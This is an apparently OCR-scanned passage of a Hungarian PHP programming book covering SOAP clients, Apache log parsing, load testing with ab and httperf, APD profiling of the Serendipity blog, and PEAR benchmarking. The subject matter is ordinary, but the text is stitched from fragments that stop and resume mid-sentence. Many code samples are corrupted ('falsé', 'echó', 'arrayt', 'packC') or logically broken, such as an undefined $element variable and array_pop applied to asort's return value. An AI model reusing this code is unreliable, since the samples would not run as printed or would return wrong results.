azzal, amit a ServerHandler_SystemLoad-nál láthattunk, továbbá a SystemLoad pro-
totípusa szerint egy Load nevű lebegőpontos számmal tér vissza.
include("SOAP/Client.php");
$url = "http://localhost/soap/tests/SystemLoad.wsdl";
$soapclient = new SOAP_Client($url, true);
$load = $soapclient->SystemLoad()->deserializeBody () ;
print "One minute system load is $load\n";
Mindennek bemutatására lássuk, miként kereshetünk meg egy szerzőt az Amazon. com
webszolgáltatási API-jával. Az Amazon nagy hangsúlyt fektet webszolgáltatásainak megfe-
lelő működésére, és elérhetővé teszi minden keresési lehetőségét a SOAP-on keresztül.
Az Amazon API használatához fejlesztőként kell bejegyeztetnünk magunkat az Amazon
webhelyén, awww.amazon.com/gp/aws/landing.html címen.
<operation name="AuthorSearchRequest">
<input message="typens:AuthorSearchRequest" />
<output message="typens:AuthorSearchResponse" />
</operation>
és
<message name="AuthorSearchResponse">
<part name="return" type="typens:ProductInfo" />
</message>
16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal 447
<xsd:complexType name="AuthorRequest">
<xsd:all>
<xsd:element name="author" type="xsd:string" />
<xsd:element name="page" type="xsd:string" />
<xsd:element name="mode" type="xsd:string" />
<xsd:element name="tag" type="xsd:string" />
<xsd:element name="type" type="xsd:string" />
<xsd:element name="devtag" type="xsd:string" />
<xsd:element name="sort" type="xsd:string" minOccurs="0" />
<xsd:element name="variations" type="xsd:string" minOccurs="0" />
<xsd:element name="locale" type="xsd:string" minOccurs="0" />
</xsd:all>
</xsd:complexType>
Ahhoz, hogy ezt a típust PHP-ben is megjeleníthessük, készítenünk kell egy erre a célra
szolgáló osztályt, amely a SchemaTypelnf o felületet is megvalósítja. Ehhez két művele-
tet kell megírnunk:
require_once 'SOAP/Client.php';
$url = 'http://soap.amazon.com/schemas2/AmazonWebServices.wsdl';
$client = new SOAP_Client($url, true);
Ezután hozzunk létre egy AuthorRequest objektumot, és töltsük fel a keresés adataival:
$result = $client->AuthorSearchRequest($authreq)->deserializeBody();
require_once 'SOAP/WSDL.php';
$url = "http://localhost/soap/tests/SystemLoad.wsdl";
$result = WSDLManager::get($url) ;
print $result->generateProxyCode();
'style'=>'rpc',
'use'=>'encoded' )) ;
}
}
További olvasmányok
A távoli szolgáltatásokkal való együttműködés témaköre igen széles, sokkal szélesebb an-
nál, mint amennyit e fejezet átfogni képes. A SOAP különösen érdekes, fejlődő szabvány;
maga is megérdemelne egy külön könyvet. A következőkben néhány hasznos forrásmun-
kát mutatunk be, témakörök szerint csoportosítva.
SOAP
A SOAP leírása megtalálható a http: //www.w3 .org/TR/SOAP/ címen.
XML-RPC
Az XML-RPC leírása megtalálható a http: //www.xmlrpc .com/spec címen.
Dave Winer, az XML-RPC megalkotója egy kellemes bevezető írását a következő címen
lelhetjük meg: http: //davenet. scripting.com/19 9 8/07/14/xmlRpcForNewbies.
16. fejezet • RPC: Együttműködés távoli szolgáltatásokkal 451
Webnaplózás
A Blogger API leírását a http: //www.blogger. com/developers/api/l_docs címen
találhatjuk meg.
Más részről, ott van a terhelésvizsgálat feladata is. Tegyük fel, hogy projektünk, melyen
hat hónapig dolgoztunk, csaknem elkészült, főnökünk pedig azt követeli, hogy a rend-
szer képes legyen megfelelni 1000 felhasználó terhelésének. Miként biztosíthatjuk, hogy
valóban elegendő lesz a kapacitás? Hogyan fedezzük fel a szűk keresztmetszeteket, mie-
lőtt élesben kellene alkalmaznunk művünket?
Ezekre a kihívásokra sajnos túl sok fejlesztő válaszol a próba-szerencse módszerének al-
kalmazásával. Persze esetenként az ilyen módszerek is lehetnek eredményesek - sok fej-
lesztő cég rendelkezik olyan szakemberrel, aki más versenytársaknál 10-szer vagy akár
100-szor nagyobb hatékonysággal deríti fel a hibákat, de még így is csak a gondok egyti-
zedére akadnak rá.
Ismerem ezt a világot - magam is ilyen fejlesztő voltam. Értettem az alkalmazás működé-
sét, és nem is voltam buta fickó. Ha adtak egy nap gondolkodási időt, és kedvemre pró-
bálgathattam, számos olyan feladatot megoldottam, ami más fejlesztőkön kifogott. Mindez
meglehetős tiszteletet vívott ki számomra a kollégák között - legalábbis sokan csodálták
ezt a majdhogynem misztikus képességemet a gondok forrásának megtalálására.
456 PHP fejlesztés felsőfokon
Történetem célja azonban nem az, hogy meggyőzzem az Olvasót arról, milyen nagyszerű ké-
pességekkel rendelkezem - valójában a cél éppen ennek ellenkezője. Módszereim ugyanis
meglehetősen esetlegesek és kevéssé célzottak voltak. Még ha okosan gondolkodtam is,
a megfelelő teljesítménymérési eljárások sokkal gyorsabban rávilágítottak volna a gondok
gyökereire - ráadásul mindezt valószínűleg nálam jóval hatékonyabban tették volna.
A általános naplóformátum nem tartalmaz „eltelt idő" mezőt, de maga a naplózó rendszer
támogatja a használatát. Ahhoz, hogy az oldal szolgáltatásához szükséges időt is feltüntes-
sük (másodpercben), a LogFormat sort a %T beállítással kell kiegészítenünk:
Az oldal készítéséhez szükséges idő a bejegyzés utolsó mezőjében található meg. E be-
jegyzések közvetlen átnézése nyilván csak olyan esetekben vezet eredményre, ha egy ol-
dallal igen súlyos gondok vannak - egyébként azonban nem sok következtetést vonha-
tunk le a kapott adatokból a minta kis mérete miatt.
Ez ellen persze könnyen tehetünk, csak futtassuk a naplózót néhány órán keresztül, és ele-
mezzük az eredményt ezután. Nagyobb statisztikai mintánál a számok többet mondanak.
#!/usr/local/bin/php
##################
# parse_logs.php #
##################
<?php
$input = $_SERVER['argv'][1];
$fp = fopen($input, "r");
// a általános naplóformátum illesztése egy kiegészítő „idő" paramé-
terrel
$regex = '/A(\S+) (\S+) (\S+) \[([":]+):(\d+:\d+:\d+) ( ["\]]+)\] ' .
' "(\S+) (.*?) (\S+)" (\S+) (\S+) (\S+) (\S+) (\d+)$/';
while(($line = fgets($fp)) ! == falsé) {
preg_match($regex, $line, $matches);
$uri = $matches[8];
$time = $matches[12];
list($file, $params) = explode('?',$uri, 2);
$requests[$file][] = $time;
$requests[$file] ['count']++;
// átlag kiszámítása
$requests[$file]['avg'] =
($requests[$file]['avg']*($requests[$file]['count'] - 1)
+ $time)/$requests[$file]['count'];
}
458 PHP fejlesztés felsőfokon
uasort($requests, $my_sort);
reset($requests);
foreach($requests as $uri => $times) {
p r i n t f ( " % s %d % 2 . 5 f \ n " , $uri, $times['count'], $times['avg']);
}
?>
parse_logs.php /var/apache-logs/www.schlossnagle.org/access_log
Ezzel hozzájutunk a kérelmezett URL-ek átlagos letöltési idő szerint rendezett listájához:
Terhelésképzők
Az oldalak jellemzőinek vizsgálatára nem igazán jó az a módszer, melyben egy élesben
működő rendszerben kell várnunk arra, hogy a megfelelő körülmények előálljanak. Sok
esetben nem célszerű mélyreható vizsgálatokat végezni egy éppen működő, feladatát
végző kiszolgálón. Máskor pedig szükség van arra, hogy nagyobb mértékben terheljünk
meg egy webhelyét, mint az szokásosan előfordul.
Annak érdekében, hogy szükség esetén biztosítani tudjuk a forgalom kívánt jellemzőit,
terhelésképzőket (load generátor) alkalmazhatunk. Két típusuk ismeretes: a mesterséges
és a valósághű terhelésképzők. Az előbbiek nem fordítanak különösebb figyelmet arra,
hogy utánozzák a rendes használat körülményeit - inkább állandó és könyörtelen kére-
lemözönnel bombáznak egy vagy több oldalt.
17. fejezet • Teljesítménymérés: teljes alkalmazások tesztelése 45
ab
A mesterséges terhelésképzők legegyszerűbbike az ApacheBench, vagy ab, melyhez hoz-
zájutunk az Apache kiszolgálóval. Ez egy egyszerű többszálas teljesítménymérő eszköz,
amely megadott sűrűségben és egyidejűséggel leadott kérelmekkel bombáz egy adott
URL-t. Persze igazságtalanok vagyunk, ha az ab-t „egyszerű" eszköznek nevezzük, hiszen
rengeteg igen izgalmas lehetőséggel rendelkezik.
íme egy próbafuttatás eredménye, melyben webnaplómat 10 000 kérelem érte, 100-as
egyidejű csoportokban:
httperf
Ha az ab-nél szélesebb körű lehetőségekre vágyunk, nagyszerű választás lehet a httperf,
melyet Dávid Mosberger jegyez a Hewlett Packard Research Labs-től. Ez a hatékony esz-
köz képes megfelelni a nagy adatforgalom igényeinek, támogatja a HTTP 1.1 protokollt és
könnyen bővíthető - igazándiból utóbbi két tulajdonságában különbözik lényegében az
ab-től. Használata mindenképpen jól jöhet, ha olyan viselkedést kívánunk vizsgálni, amely
tartalomtömörítést vagy más, a HTTP 1.l-ben megjelent lehetőséget használ.
Reoly rate [replies/s]: min 1.2 avg 19.8 max 2 5 . 8 stddev 8.4
(10 samples)
Reply time -: response 6110.0 transfer 2 6 2 . 8
Reply size [B]: header 4 6 0 . 0 content 3 3 0 8 4 . 0 footer 2.0
(totál 3 3 5 4 6 . 0 )
Reply status: lxx=0 2xx=1000 3xx=0 4xx=0 5xx=0
CPU time [s]: user 0.64 system 13.71 (user 1 . 3% system 27.1%
totál 2 8 . 3 % )
Net I/O: 648.2 KB/s (5.3*10^ 6 bps)
A httperf egyik hasznos tulajdonsága, hogy lehetővé teszi több terhelésképző használa-
tát is. Az előző példában az alapértelmezett, rögzített URL alapú terhelésképzőt mutattuk
be, amely csak egyetlen URL-t ér el. Emellett azonban rendelkezésünkre áll egy napló ala-
pú terhelésképző és munkamenet-szimulátor, valamint egy valósághű adatképző.
A munkamenet-szimulátor
--wsess=Nl,N2,X -burst-length=L
A valósághű adatképző
A httperf lehetővé teszi a felhasználó munkameneteinek majdnem valósághű visszajátszá-
sát egy egyszerű módszer segítségével. Az a visszajátszó program, amely a php. net tükör-
oldalt olvassa 10 másodpercig, majd továbbugrik a docs oldalra, a következőképpen fest:
/index.php think=10
/images/news/afup-logo.gif
/images/news/chmhelp.gif
/images/news/conference_php_quebec. g i f
/images/news/hu_conf. gi f
/images/news/international_conference_2003_spring.gif
/images/news/mysgluc2003.png
/images/news/phpcon_logo.png
/images/php_logo.gif
/images/rss10. g i f
/images/spacer.gif
/backend/mirror.gif
/docs.php
/images/php_logo.gif
/images/spacer.gi f
A kilógó sorok egy csoport kezdetét jelentik, míg az alattuk levők az ide tartozó alkérel-
mek. A csoportkezdő soroknál egyedi beállításokat adhatunk meg - mennyit várjunk
a következő csoportig, milyen módszert használjunk, illetve beállíthatjuk a POST adato-
kat, és így tovább.
írását. Jó lenne, ha létezne egy olyan eszköz, ami képes olvasni az Apache naplóit és
visszajátszani - nem csak egyszerűen elemenként, hanem az eredeti felállásnak megfelelő
időzítéssel. A Daiquiri éppen ezt teszi.
Daiquiri
A Daiquiri olyan webes terhelésképző, amely képes értelmezni az Apache általános
naplóformátumában (Common Log Formát) levő naplóit, és vissza is játssza azokat.
A program beállításai egy fájlban, az alábbi alakban találhatók meg:
Schema test = {
Headers = "Hőst: www.schlossnagle.org\r\n"
Log = "/var/apache-logs/replay.log"
RequestAllocation "reqalloc.so::SinglelP" => {
192.168.52.67:80
}
ChunkLength = 5
ChunkCushion = 1
HTTPTimeout = 200
MultiplicityFactor = 1
}
A Log megadja azt a naplófájlt, amelyből olvasunk - fontos, hogy ez általános naplófor-
mátumban legyen.
További olvasmányok
A Sun teljesítményvizsgáló nagymestere, Adrián Cockroft Capacity Planning for Internet
Services című könyve felbecsülhetetlen értékű tudnivalókat tartalmaz a hagyományos ka-
pacitástervezési és -elemzési módszerek webes alkalmazásával kapcsolatban.
A Daiquiri Theo Schlossnagle műve - letöltésére projektjei között, a következő címen van
lehetőségünk: www.omniti. com/~jesus/projects.
Profilkészítés
Ha hivatásszerűen foglalkozunk PHP programozással, előbb vagy utóbb mindenképpen
szükségünk lesz alkalmazásunk teljesítményének javítására. Ha nagy forgalmú webhelyen
dolgozunk, ez napi vagy heti teendőink közé tartozhat, ha pedig projektjeink javarészt
a belső hálózaton futnak, erre ritkábban van szükség. Mindazonáltal, egy idő után a leg-
több alkalmazást újra kell hangolni a megfelelő teljesítmény elérése érdekében.
lasztották. A végeredmény az volt, hogy egy olyan problémára, melynek megoldása ren-
desen egy órába telt volna, napokig gyártottak olyan „megoldásokat", amelyek valójában
nem érintették a lényeget.
Ha valaki azt képzeli, hogy egy nagy alkalmazásban a puszta ráérzés alapján képes meg-
találni a teljesítménycsökkenés okát, hatalmasat téved. Éppen annyira bíznék egy szerelő-
ben, aki mindenféle tesztek nélkül kijelenti, mi az autóm baja, vagy egy orvosban, aki
vizsgálatok nélkül megállapítja a betegségemet, mint egy olyan programozóban, aki anél-
kül, hogy a kód elemzésébe bocsátkozna, rámutat a teljesítménycsökkenés forrására.
zend_extension=/path/to/apd.so
apd.dumpdir=/tmp/traces
468 PHP fejlesztés felsőfokon
Ahhoz, hogy egy programot nyomon kövessünk, mindössze az alábbi függvényt kell
meghívnunk a kezdéskor (általában a program elején):
apd_set_pprof_trace() ;
Mindemellett, amikor egy függvény visszatér, az APD megvizsgál néhány belső számlálót, és
megnézi, mennyit haladtak előre a legutóbbi ellenőrzés óta. Ezek a számlálók a következők:
Megjelenítési kapcsolók
-c Megjeleníti az eltelt valós időt a hívási fában.
-i Elrejti a php beépített függvényeit.
-m Megjeleníti a fájl/sor pozíciókat a nyomkövetési adatokban
-0 szml Meghatározza a megjeleníthető eljárások legnagyobb számát
(alapállapotban 1 5) .
-t Tömörített hívási fát jelenít meg.
-T Tömörítetlen hívási fát jelenít meg.
Általában a valós eltelt idő alapján érdemes rendeznünk (-r vagy -R), mivel ezt az időt ér-
zik a látogatók az oldalon. Itt megjelenik a várakozás a válaszra az adatbázishívásoknál, és
más, hasonlóan blokkoló műveletek időtartama. Jóllehet az ilyen szűk keresztmetszetek is-
merete igen hasznos lehet, sokszor kíváncsiak vagyunk arra is, milyen teljesítményt nyújt
nyers kódunk a kimeneti-bemeneti műveletek várakozási idejétől eltekintve. Ilyenkor al-
kalmazhatjuk a -z, illetve a -Z kapcsolókat, melyek a CPU használatával töltött időt mérik.
<?php
apd_set_pprof_trace();
hello("George") ;
goodbye("George") ;
function hello($name)
{
echó "Hello $name\n";
sleep(1) ;
}
470 PHP fejlesztés felsőfokon
function goodbye($name)
{
echó "Goodbye $name\n";
}
?>
18.1. ábra
A profilkészítés eredménye egy egyszerű program esetében.
A teljes hívási fa megjelenítéséhez a -Tcm kapcsolót használhatjuk. Ezzel egy teljes hívási
fát kapunk, összesített időkkel, valamint a hívásoknál fájl- és sorpozíciókkal. A 18.2. ábrán
az így kapott kimenetet láthatjuk. Figyeljük meg, hogy a hívási fában a sleep behúzott,
mivel a hello () gyermekhívása.
18. fejezet • Profilkészítés 471
18.2. ábra
Egy egyszerű program hívási fája.
Érdemes először a webnapló kezdőoldalára sort keríteni. Ennek érdekében az index. php
elejét egy nyomkövető kóddal egészítjük ki. Mivel mindeközben a webnaplót használják,
nem követhetünk nyomon minden oldalelérést, így be kell burkolnunk a profilkészítő hívást,
hogy csak akkor induljon el, amikor a PR0FILE=1 paramétert is átadjuk az URL sorában:
<?php
Íf($_GET['PROFILÉ'] = = 1 ) {
apd_set_pprof_trace();
}
/* ... itt kezdődik a Serendipity eredeti kódja ... */
Az oldalon mért teljes idő 1,1231 másodperc volt, ami nem rossz, ha saját webhelyünkről
van szó, de túl lassú lehet, ha a Serendipity-t egy nagyobb felhasználói bázisú vagy nagy
forgalmú webhelyen kívánjuk használni. Az időfelhasználási verseny első helyezettje az
include_once (), ami egyébként nem szokatlan nagyobb alkalmazásoknál, melyek jelen-
tős része beemelt fájlokban található. Figyeljük meg azt is, hogy az include_once () nem
csak a hívásokkal együtt mért listában vezet, hanem a hívások nélküliben is. Ezt láthatjuk
a 18.4. ábrán, ahol a pprofp -r futtatás eredményét tüntettük fel - az include_once ()
a teljes futásidő 29,7%-át veszi el gyermekhívások nélkül.
18.3. ábra
A Serendipity kezdőlapjának első profilkészítési eredményei.
18. fejezet • Profilkészítés 473
18.4. ábra
A Serendipity kezdőlapjának hívásai, a gyermekhívások figyelembe vétele nélkül.
Amit itt látunk, az a Serendipity beemelt fájljainak fordítási költsége. Emlékezzünk vissza
a 9. fejezetre, ahol megtanultuk, hogy a PHP programok futtatásánál felmerülő egyik leg-
nagyobb költséget értelmezésük és köztes kódba fordításuk jelenti. Mivel a beemelt fájlok
értelmezése és végrehajtása futásidőben történik, ezt a költséget azonnal láthatjuk a 18.4.
ábra adatain. Ezt a többletterhet jelentősen csökkenthetjük, ha fordítói gyorstárat alkalma-
zunk. A 18.5. ábrán láthatjuk az eredményeket az APC telepítése és a profilok futtatása
után. Az include_once () továbbra is vezet a hívásokkal együtt mért idők versenyében
(ami rendben van, hiszen ez tartalmazza az oldal kódjának jelentős részét), de a hívások
nélküli idők között már nincs benne az első ötben. Mindemellett a program futásideje
csaknem a felére esett vissza.
18.5. ábra
A Serendipity kezdőlapjának profilja az APC fordítói gyorstár használata mellett.
474 PHP fejlesztés felsőfokon
• serendipity_plugin_api::generate_plugins
• serendipity_db_query
• mysql_db_query
18.6. ábra
A Serendipity kezdőlapjának hívási fája.
Kedvenc esetem, amely jól példázza a helyzetet, még az APD születése idején történt
meg. A cégnél, ahol akkoriban dolgoztam, volt néhány függvény, melyek arra szolgáltak,
hogy bináris adatokat (főként kódolt felhasználói adatokat) „8 bit-biztossá" tegyék, és így
alkalmassá váljanak sütibeli használatra. Minden kérelemnél, ami egy olyan oldalhoz ér-
kezett, ahol szükség volt a tag azonosítójára és jelszavára, a felhasználó sütijét visszafejtet-
tük, majd egyaránt alkalmaztuk hitelesítésre és felhasználói adatok tárolására. Mivel a fel-
használói munkamenetek egy idő után elavultak, a süti tartalmazott egy időbélyeget, me-
lyet minden kérelemnél visszaállítottunk annak biztosítékaként, hogy a munkamenet to-
vábbra is érvényes legyen.
A kódot már három éve használtuk - még a PHP3 idejében készítették, amikor az általá-
nos bináris adatok (például a null értéket tartalmazók) kezelése még nem volt megfelelő
a sütikkel dolgozó PHP kódokban, és a rawurlencode sem volt még képes általános bi-
náris adatok befogadására. A szóban forgó függvények valahogy így festettek:
function hexencode($data) {
$ascii = unpack("C*", $data);
$retval = ' ' ;
foreach ($ascii as $v) {
$retval .= sprintf("%02x", $v);
>
return $retval;
}
function hexdecode($data) {
$len = strlen($data);
$retval = ' ' ;
for ( $ i = 0 ; $i < $len; $i+= 2) {
$retval .= packC'C", hexdec (
substr($data, $i, 2)
)
);
}
return $retval;
}
Amikor azután tesztelni kezdtem az APD-t, meglepetésemre kiderült, hogy e két függvény
felelős a webhely oldalai végrehajtási idejének csaknem 30%-áért. A gondot az okozta,
hogy a felhasználók sütijei nem voltak kicsik - átlagosan 1 KB-osak - és egy ekkora töm-
18. fejezet • Profilkészítés 479
Egy apró javítás jelentős gyorsulást hozhat - esetünkben ez nem csak egyetlen program se-
bességét növelte meg, hanem 30%-os kapacitásbővülést eredményezett az egész alkalma-
zásban. Mint minden olyan technikai problémánál, melyre létezik egyszerű megoldás, fel-
merül a kérdés: hogyan történhetett meg mindez? A válasz összetett, és mégis egyszerű - ez
az oka annak, hogy a nagy forgalmú webhelyek profilját rendszeresen el kell készítenünk:
Profilkészítő nélkül ez a hiba biztosan nem került volna felszínre. A kód túl régi volt már,
és túl mélyen volt elásva ahhoz, hogy valaha is felfedezzék egyszerű módszerekkel.
480 PHP fejlesztés felsőfokon
Megjegyzés
Van ennek a sütihasználati módnak még egy gyenge pontja. Ha a felhasználó sütijét min-
den eléréskor visszaállítjuk, ezzel azt biztosíthatjuk, hogy a munkamenet 15 perc elteltével
avul el. Ehhez azonban szükség van a süti újrakódolására és visszaállítására minden el-
éréskor. Ha az elavulás idejét egy véletlenszerű, 15 és 20 perc közti értékben határozzuk
meg, akkor elég lesz olyankor visszaállítani a sütít, ha már legalább 5 perce megszületett.
Ez szintén jelentős sebességnövekedést eredményezhet.
Jómagam általában jobban kedvelem az alulról felfelé irányuló módszert, ha egy külső
gyártó termékét elemzem, mielőtt élesben munkába állítanám - itt ugyanis nincs listám az
eltávolítandó lehetőségekről, mindössze a kívánt szintre szeretném emelni a teljesítményt.
18.7. ábra
Profilunk az optimalizálás után.
Általában nem tartom bölcs dolognak, hogy véleményt mondjak a def ine () hatékonysá-
gáról. Használatának alternatívája ugyanis egy globális változó alkalmazása. Ezek deklará-
ciói a nyelv részei (ellentétben a def ine () -nal, ami egy függvény), így az általuk a rend-
szerre rótt töbletteher nehezen mérhető az APD módszereivel. Az egyetlen megoldás,
amit ajánlhatok, hogy tároljuk állandóinkat const osztályállandók alakjában. Ha fordítói
gyorstárat használunk, az tárolja ezeket az osztály meghatározásával, így nem kell őket
minden kérelemnél újra példányosítani.
function serendipity_emoticate($str) {
global $serendipity;
482 PHP fejlesztés felsőfokon
return $str;
}
$serendipity["smiles"] =
arrayt":' (" => $serendipity["serendipityHTTPPath"]."pixel/cry_smile.gif",
":-)" => $serendipity["serendipityHTTPPath"]."pixel/regular_smile.gif",
":-0" => $serendipity["serendipityHTTPPath"]."pixel/embaressed_smile.gif",
":0" => $serendipity["serendipityHTTPPath"]."pixel/embaressed_smile.gif",
":-(" => $serendipity["serendipityHTTPPath"]."pixel/sad_smile.gif",
":(" => $serendipity["serendipityHTTPPath"]."pixel/sad_smile.gif",
":)" => $serendipity["serendipityHTTPPath"]."pixel/regular_smile.gif",
"8-) " => $serendipity["serendipityHTTPPath"]."pixel/shades_smile.gif",
":-D" => $serendipity["serendipityHTTPPath"]."pixel/teeth_smile.gif",
":D" => $serendipity["serendipityHTTPPath"]."pixel/teeth_smile.gif",
"8)" => $serendipity["serendipityHTTPPath"]."pixel/shades_smile.gif",
":-P" => $serendipity["serendipityHTTPPath"]."pixel/tounge_smile.gif",
";-)" => $serendipity["serendipityHTTPPath"]."pixel/wink_smile.gif",
"; ) " => $serendipity["serendipityHTTPPath"]."pixel/wink_smile.gif",
":P" => $serendipity["serendipityHTTPPath"]."pixel/tounge_smile.gif",
);
$ret = $str;
// félkövér
$ret = str_replace('\*',chr(1),$ret);
$ret = str_replace('**',chr(2) , $ret) ;
$ret = preg_replace('/(\S)\*(\S)/ ' , '\1' . chr(l) . '\2',$ret);
$ret = preg_replace('/\B\*(["*]+)\*\B/', '<strong>\l</strong>',$ret) ;
$ret = str_replace(chr(2),'**',$ret);
$ret = str_replace(chr(1),'\*',$ret);
18. fejezet • Profilkészítés 483
$ret = str_replace(chr(l),'%',$ret) ;
if ($serendipity['track_exits']) {
$serendipity['encodeExitsCallback_entry_id'] = $entry_id;
$ret = preg_replace_callback(
"#<a href=(\"I')http://([A"']+)(\"l')#im",
'serendipity_encodeExitsCallback',
$ret
);
}
return $ret;
}
*hello*
<strong>hello</strong>
484 PHP fejlesztés felsőfokon
E hívások hatásának kivédésére két lehetőségünk van. Először is, egyszerűen eltávolíthat-
juk a hívásokat. Az emotikonok kezelésére alkalmazhatunk egy JavaScriptben írt szerkesz-
tőt, amely lehetővé teszi, hogy a felhasználók egy menüből válasszák ki a kívánt képeket.
A szövegformázási lehetőségek helyett megkövetelhetjük, hogy a felhasználók maguk al-
kalmazzanak HTML jelöléseket.
Dolgoztam egyszer egy webhelyen, ahol egy szabályos kifejezésekből álló könyvtárat
használtak a trágárságok és a rosszindulatú JavaScript, illetve CSS kódok kiszűrésére a fel-
használók által feltöltött tartalomból (a helyközi támadások kivédésére). Mivel a felhasz-
nálók igen leleményesnek mutatkoztak a káromkodások terén, a trágárságok listája folya-
matosan bővült, ahogy a fenntartók ismerkedtek az egyre újabb és szokatlanabb kifejezé-
sekkel. A webhely forgalma igen nagy volt, ami azt jelentette, hogy a tisztogatási folyamat
nem mehetett végbe rögtön a kérelmek fogadásánál (egyszerűen túl költséges volt), de
a trágárságok listájának dinamikus jellege megkövetelte, hogy új szűrési szabályokat alkal-
mazhassunk meglevő bejegyzésekre is. Sajnálatos módon a felhasználók túl sokan voltak
ahhoz, hogy ezt a szűrőt minden bejegyzésre alkalmazzuk.
mek nyomán a bejegyzéseket újra a mestertáblában kellett először keresni, majd ezt köve-
tően átírni a gyorstártáblába. Ez a gyorstártábla egyébként különösebb nehézség nélkül
felváltható egy hálózati fájlrendszerrel is.
További olvasmányok
Az igazat megvallva, a szakirodalom nem bővelkedik a PHP profilkészítés eszközeivel
foglalkozó művekben. A fejezetünkben említett profilkészítők mindegyikének webhelyén
találhatunk némi útmutatást a használatukkal kapcsolatban, de nem ismeretes átfogó tár-
gyalás a profilkészítés mesterségéről.
A PHP szintű profilkészítők mellett létezik számos alacsonyabb szintű is, melyekkel a rend-
szer profilját elkészíthetjük. Ezek igen hasznosak lehetnek, ha a PHP nyelv teljesítményé-
nek növelése a célunk, de kevésbé jól használhatók egyes alkalmazások teljesítményének
javításában. A gondot az jelenti, hogy igen nehéz közvetlenül összekötni az alacsonyabb
szintű (motorbeli) C függvényhívásokat, vagy rendszermaghívásokat a PHP kódban végzett
műveletekkel. Mindazonáltal lássunk néhány C-profilkészítési segédeszközt is:
Ahhoz, hogy a korábban említett és más hasonló kérdésekre választ találjunk, saját szinte-
tikus mérőprogramokat kell készítenünk, amelyek lehetőséget adnak kis kódrészletek, il-
letve egyes függvények vizsgálatára, erőforrás-használatuk felmérésére (és az összehason-
lítás révén csökkentésére). Ha e méréseket beépítjük egységtesztjeinkbe, nyomon követ-
hetjük a könyvtárak teljesítményének változását az idők során.
• Valóban azt vizsgáljuk, amit szeretnénk? - Furcsa, hogy ez a kérdés egyáltalán felmerül,
de valóban nagyon fontos, hogy tényleg azt mérjük, amit szeretnénk. Ne feledjük,
nem a teljes alkalmazást teszteljük, csak egy kis részét. Ha nem sikerül egy elég el-
különülő részletre összpontosítanunk, a mérés is veszt jelentőségéből.
• Úgy vizsgáljuk a függvényt, ahogy a valós helyzetekben használnánk? - Az algoritmusok
teljesítménye gyakran drámaian változhat a bemeneti adatoktól függően. Ha van-
nak bizonyos ismereteink az átadott paraméterek értékeiről, használjuk fel ezeket
a teszt során is. A legjobb, ha a valós működésből vett adatokkal dolgozunk.
A listából szándékosan kihagytuk a kérdést: „Szükség van erre a vizsgálatra?". A mérés ön-
magában is hasznos lehet, hiszen általa megismerkedhetünk a PHP és a Zend Engine szá-
mos apró lehetőségével. Egy ritkán használt program tömbműveleteinek optimalizálása
nem túl sok haszonnal kecsegtet, de a PHP teljesítménnyel kapcsolatos fogalmainak isme-
rete hozzásegít ahhoz, hogy egy olyan programozási stílust alakítsunk ki, ami feleslegessé
tesz sok későbbi optimalizálási lépést.
19. fejezet • Szintetikus mérés; kódblokkok és függvények értékelése 489
A mérés alapjai
A mérési eredmények összehasonlításánál ügyelnünk kell arra, hogy csak egyetlen „sza-
badsági fokban" térhessenek el egymástól. Ez azt jelenti, hogy egy vizsgálat során csak
egyetlen független tényezőben lehet különbség két futtatás között, az adatok és az algorit-
mus többi része pedig változatlan marad. Tegyük fel például, hogy egy olyan osztályt ké-
szítünk, amely beolvas egy dokumentumot, és kiszámítja a Flesch olvashatósági pontszá-
mot. Ha egyszerre változtatjuk meg a szavak és a mondatok számlálásának algoritmusát,
nem tudjuk megítélni, melyik módosítás felel a teljesítmény változásáért.
• Lehetőség a kezdeti adatok tetszőleges beállítására - A mérési módszer csak akkor adhat
jó eredményeket, ha megfelelő adatokon futtatjuk, ezért létfontosságú, hogy tetsző-
leges bemeneti adatokat használhassunk.
• Bővíthetőség - Sokszor jól jöhet, ha a begyűjtött adatokat bővíthetjük, illetve
módosíthatjuk.
A PEAR mérőcsomagja
A PEAR rendelkezik egy Benchmark_Iterate nevű beépített mérőcsomaggal, amely
a fentiek követelmények szinte mindegyikét kielégíti, így a legtöbb egyszerű mérési fel-
adatra sikerrel alkalmazható.
require 'Benchmark/Iterate.php';
$benchmark = new Benchmark_Iterate;
$benchmark->run(1000, foo);
$result = $benchmark->get() ;
print "Mean execution time for foo: $result[mean]\n";
Egyszerű példaként hasonlítsuk össze a PHP beépített max () függvényét a saját magunk
által készített my_max () -szál. Ennek kapcsán láthatjuk, mennyivel gyorsabban haladha-
tunk végig a tömbökön beépített függvényekkel, mint saját kóddal.
A my_max () ugyanúgy működik, mint a beépített max () függvény - végrehajt egy lineá-
ris keresést a bemeneti tömbön, és mindig az addig talált legnagyobb elemet tartja meg
emlékezetében:
Function my_max(&$array) {
$max = $array[0];
Foreach ($array as $el) {
If($element > $max) {
19. fejezet • Szintetikus mérés: kódblokkok és függvények értékelése 491
$max = $element;
}
}
return $max;
}
Function random_array($size) {
For($I=0; $I<$size; $I++) {
$array[] = mt_rand();
}
return $array;
}
Elkészültünk hát az alapokkal, most már nem nehéz néhány összehasonlítást végezni
a Benchmark_Iterate segítségével, különböző méretű tömböket alkalmazva:
<?
require "test_data.inc";
require "Benchmark/Iterate.php";
A példa persze meglehetősen mesterkélt. (Már csak a természetes lustaság okán sem jutna
eszünkbe saját max () függvényt készíteni.) Mindazonáltal jól szemléltet néhány fontos el-
gondolást.
A Benchmark_Iterate nem teszi lehetővé, hogy újabb véletlen adatokat adjunk meg
két lépés között. Jelen mérésünket ez nem zavarja, de sokszor nagy szükségünk van erre
a lehetőségre. Képzeljük el, mi volna, ha egy újabb versenytársat is bevonnánk a „küzde-
lembe" - a sort_max () függvényt, amely az asort () segítségével rendezi a tömböt,
azután egyszerűen kiadja az első elemet:
function sort_max($array) {
return array_pop(asort($array));
}
Számos rendező algoritmus (köztük a quicksort, melyet a PHP minden rendező algorit-
musa alkalmaz) jelentősen eltérő viselkedést mutat a legrosszabb és a legjobb esetben,
így egy szerencsétlen véletlen adatválasztás félrevezető eredményeket adhat. A szélső
esetek kiejtésére lefuttathatjuk többször a méréseket - természetesen egy jó mérőprogram
ezt megoldja helyettünk.
A Benchmark_lterate lassú - nagyon lassú. Ennek oka az, hogy jóval több munkát vé-
gez a szükségesnél. A run () tagfüggvény központi ciklusa így fest:
A mérőrendszer kiépítése
Mivel könyvünkben eddig is tudatosan próbáltuk elkerülni a kerék újrafeltalálását, most is
megkísérlünk minél több programozói munkát megtakarítani. Szerencsére a Bench-
